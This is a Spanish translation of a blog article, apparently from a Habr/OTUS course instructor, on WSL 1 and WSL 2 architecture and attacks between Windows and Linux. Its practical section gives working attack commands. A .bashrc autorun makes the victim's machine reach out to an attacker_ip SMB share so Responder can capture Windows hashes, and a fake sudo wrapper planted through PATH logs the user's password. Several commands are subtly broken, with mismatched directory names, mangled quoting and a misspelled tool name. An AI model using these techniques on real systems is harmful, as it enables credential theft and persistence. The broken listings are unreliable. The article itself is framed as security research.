¡Hola, Habr! En octubre, OTUS lanzará un nuevo curso. En vísperas del inicio del curso, compartimos un artículo escrito por uno de nuestros instructores, Alexander Kolesnikov.

En 2016, Microsoft presentó a la comunidad de TI una nueva tecnología, WSL (Windows Subsystem for Linux), que tenía como objetivo unir a dos competidores previamente irreconciliables, que luchaban por la popularidad entre los usuarios comunes y avanzados de los sistemas operativos: Windows y Linux. Esta tecnología permitía utilizar herramientas del sistema operativo Linux en un entorno Windows sin la necesidad de arrancar Linux, por ejemplo, mediante un arranque múltiple (Multi-boot). En Habr, puedes encontrar una gran cantidad de artículos que describen las ventajas de usar WSL. Sin embargo, lamentablemente, en el momento de la creación de este artículo, no se encontraron estudios de seguridad sobre esta simbiosis de sistemas operativos. Esta publicación será un intento de corregir esto. El artículo discutirá las características de las arquitecturas WSL 1 y 2, y analizará varios ejemplos de ataques a sistemas que utilizan estas tecnologías. El artículo está dividido en 2 partes. La primera presentará los métodos teóricos básicos de ataque desde Linux y Windows. El segundo artículo incluirá la configuración del entorno de prueba y la reproducción de los ataques.
WSL 1: características de la arquitectura
Para sumergirse más precisamente en los problemas de seguridad de WSL, es necesario definir los aspectos principales relacionados con la implementación de la subsistema. Una de las principales tareas del usuario que resuelve WSL es permitir trabajar a través de un terminal Linux en un host con sistema operativo Windows. Además, la compatibilidad ofrecida era tan nativa que los archivos ejecutables de Linux (ELF) podían ejecutarse directamente en el sistema Windows. Para lograr estos objetivos, se creó en Windows 10 una subsistema especial que permite ejecutar aplicaciones de Linux mediante un conjunto de llamadas al sistema específicas; así, se intentó mapear el conjunto de syscalls de Linux a Windows. Físicamente, esto se realizó mediante la adición de nuevos controladores y un nuevo formato de proceso. Visualmente, la arquitectura se veía así:

En esencia, la interacción con el sistema operativo Linux se organizó a través de varios módulos del núcleo y un tipo especial de procesos: pico. Del esquema anterior se puede observar que el proceso, ejecutado en una instancia de Linux en el host, debe ser nativo y debe utilizar los mismos recursos que las aplicaciones normales de Windows. Pero, ¿cómo lograr esto? En el proyecto se desarrollaron conceptos de procesos para Windows, que proporcionaban todos los componentes necesarios del sistema operativo (dependiendo de su versión) para ejecutar aplicaciones de otro sistema operativo.
Notemos que la abstracción propuesta permitía no centrarse en el sistema operativo (en particular — Windows), en el que se esperaba que se ejecutara el proceso de otro sistema operativo, y ofrecía un enfoque general.
Por lo tanto, cualquier aplicación dentro del proceso pico podría funcionar sin tener en cuenta el núcleo de Windows:
- Los problemas de compatibilidad y la traducción de llamadas al sistema deben ser abordados por proveedores especiales;
- El acceso debe ser controlado a través del Monitor de seguridad. Este monitor reside en el núcleo, y por lo tanto, Windows necesitaba una actualización en forma de un nuevo controlador que pudiera actuar como proveedor para tales procesos. El prototipo del proceso pico se presenta esquemáticamente a continuación:

Dado que el sistema de archivos de Linux usa nombres de archivos y directorios sensibles a mayúsculas, se agregaron en Windows 2 tipos de sistemas de archivos para trabajar con WSL: VolFS y DriveFS. VolFS es la implementación del sistema de archivos de Linux, DriveFS es un sistema de archivos que opera bajo las reglas de Windows, pero tiene la opción de elegir la sensibilidad a mayúsculas de los nombres.
WSL 2
WSL 1 tenía una serie de limitaciones que no permitían su uso para resolver la mayor parte de las tareas: por ejemplo, no tenía la capacidad de ejecutar aplicaciones Linux de 32 bits, ni se podían utilizar controladores de dispositivo. Por lo tanto, en 2020 se lanzó WSL 2, que cambió el enfoque para construir la subsistema. WSL 2 es una máquina virtual optimizada que se asemeja a las características de WSL 1 en términos de consumo de recursos. Ahora, dependiendo de los problemas que el usuario del sistema operativo Windows enfrente, se puede elegir la versión necesaria de la subsistema de trabajo con Linux. Para mitigar posibles vulnerabilidades, WSL 2 se implementó sobre la base de Hyper-V en Windows 10. En esta forma, Windows tiene la capacidad de ejecutar de manera aislada el núcleo del sistema operativo Linux. Es importante recordar que la versión 1 de WSL se presentó como una función beta, que debía mostrar la dirección del desarrollo de Windows en este ámbito, por lo que la transición a Hyper-V era inevitable. La arquitectura final se ve así:

En esta versión, los núcleos de los sistemas Windows y Linux tienen sus propios recursos y la intersección existe solo en el sistema de archivos, sin embargo, esta intersección no se puede considerar completa. La interacción entre los sistemas de archivos se realiza a través de un envoltorio cliente-servidor que opera mediante el protocolo 9P.
Hasta la fecha, Microsoft ofrece la posibilidad de alternar entre WSL 1 y WSL 2. Ambas versiones están disponibles para su uso.
Seguridad de WSL
Actualmente, existen varios trabajos que describen algunos enfoques para utilizar herramientas legítimas del sistema operativo para atacar la interacción entre las subsistemas. Usaremos sus escenarios para verificar la relevancia de los ataques en el momento de la redacción del artículo. La lista general de ataques y escenarios de ejecución es:
1. Implementación del sistema de archivos: permisos de acceso, existencia de directorios/mecanismos de intercambio de datos.
Las investigaciones se realizaron para violar las reglas de acceso de Linux FS->Windows FS, Windows FS->Linux FS. Las investigaciones demostraron la posibilidad de modificar un archivo determinado dentro del sistema operativo de destino. También se llevaron a cabo intentos de suplantación, creación de duplicados y eliminación de parte de los sistemas de archivos.
Escenario:
- A. Ataque desde el sistema operativo Windows: modificación de archivos en el directorio /etc del sistema operativo Linux.
- B. Ataque desde el sistema operativo Linux: modificación de archivos en los directorios:
C:Windows,C:Program Files,C:Users
2. Implementación del stack de red.
La investigación se llevó a cabo utilizando ejemplos de ataques del sistema operativo Linux a Windows. Se aprovecharon las características del stack de red, específicamente — los mecanismos de autenticación en diversos recursos.
Escenario:
- Apertura de acceso a un puerto que ya está en uso en el sistema Windows.
- Apertura de un puerto sin los permisos adecuados.
- Ejecución de un reverse shell utilizando un archivo elf en el sistema operativo Windows.
3. Ocultación del lanzamiento de procesos de software malicioso a través del subsistema WSL.
Las investigaciones se basaron en el simple hecho de que los subsistemas de seguridad no pueden interceptar eventos en otro núcleo que opera utilizando un proveedor legítimo del sistema operativo cuando se trata de WSL 1. En el caso de WSL 2, no es posible visualizar los eventos que suceden en un núcleo separado dentro de una máquina virtual ligera.
Escenario:
1) Ejecución de una aplicación de acceso remoto al sistema y visualización de eventos registrados.
Experimentos de WSL 1: interceptación del hash (Windows OS)
Finalmente hemos llegado a la parte práctica. Primero, es necesario configurar el entorno para las pruebas. Todos los experimentos se realizarán en un entorno con Windows 10 2004 instalado. Se eligió la imagen del sistema operativo Ubuntu 18.04 para WSL. La imagen fue seleccionada al azar, y cualquier otra funcionará igual. Comandos para la configuración del entorno:
Primero, hay que ejecutar powershell.exe como administrador.
Para WSL 1, se deben ejecutar los comandos:
- Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Activar la función WSL
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing #Descargar la imagen de Linux desde la tienda de Microsoft
Después de reiniciar el entorno, se puede invocar el comando bash. Si todo ha funcionado correctamente, verás aproximadamente esta salida en la consola de Windows:

Como máquina del atacante usaremos la distribución Kali Linux. Todas las máquinas deben estar en la misma red local.
Supongamos que tenemos acceso no privilegiado a WSL en una máquina con Windows. Intentemos llevar a cabo un ataque en el sistema operativo Linux, ejecutando un comando desde Linux. Para implementar el ataque, utilizaremos una técnica simple de autoejecución: añadiremos nuestro script para que se ejecute en el entorno de Linux. Para ello, es necesario modificar el archivo .bashrc.
En la máquina con WSL ejecutamos:
1. bash
2. Vamos al directorio personal del usuario: cd /home/sam/
2. echo " /home/sam/.attack.sh" >> .bashrc
3. echo "icalcs.exe \\attacker_ip\shareName\" > /dev/null 2>&1" >> .attack.sh
4. chmod u+x .attack.sh
5. exitEn la máquina Kali Linux ejecutamos:
1. Responder -I eth0 -rdvwEn la máquina Windows iniciaremos bash.
Esperamos el resultado en la máquina Kali Linux:

Así, hemos obtenido los hashes de usuario de Windows a través del subsistema WSL, al ejecutar comandos en el sistema Linux.
Experimentos de WSL 1: obtención de la contraseña del usuario (Sistema operativo Linux)
Realizaremos otro experimento. Durante esta verificación, complementaremos el archivo .bashrc con algunos comandos para obtener la contraseña del usuario del sistema operativo Linux.
Iniciaremos bash y escribiremos los comandos:
1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] contraseña para $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Lo siento, intenta de nuevo."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt" >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit Para una exitosa ejecución del ataque, es necesario que el usuario Sam invoque sudo en la terminal de Linux. Después de esto, la contraseña del usuario del sistema operativo Linux estará en el archivo pass.txt:

La implementación de los ataques se proporcionó solo para fines teóricos.
En la siguiente parte del artículo se describirá la implementación del protocolo 9P, se considerará la creación de un escáner para este protocolo, así como se llevará a cabo un ataque utilizando dicho protocolo.
Lista de literatura utilizada
Leer más
Fuente: habr.com
